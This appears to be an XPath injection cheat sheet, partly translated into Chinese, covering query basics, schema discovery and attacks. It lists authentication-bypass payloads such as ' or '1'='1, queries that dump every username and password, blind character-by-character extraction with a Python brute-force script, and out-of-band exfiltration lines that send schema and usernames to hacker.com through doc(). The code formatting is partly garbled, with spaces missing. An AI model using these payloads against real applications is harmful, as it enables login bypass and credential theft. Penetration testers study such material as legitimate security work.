All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
识别与窃取架构
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
认证绕过
查询示例：
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR 绕过用户和密码（两者值相同）
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
滥用空值注入
Username: ' or 1]%00
在用户名或密码中使用双重OR（仅在一个脆弱字段中有效）
重要提示：请注意，“and”是第一个执行的操作。
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
字符串提取
输出包含字符串，用户可以操纵这些值进行搜索：
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
盲目利用
获取值的长度并通过比较提取它：
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python 示例
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to
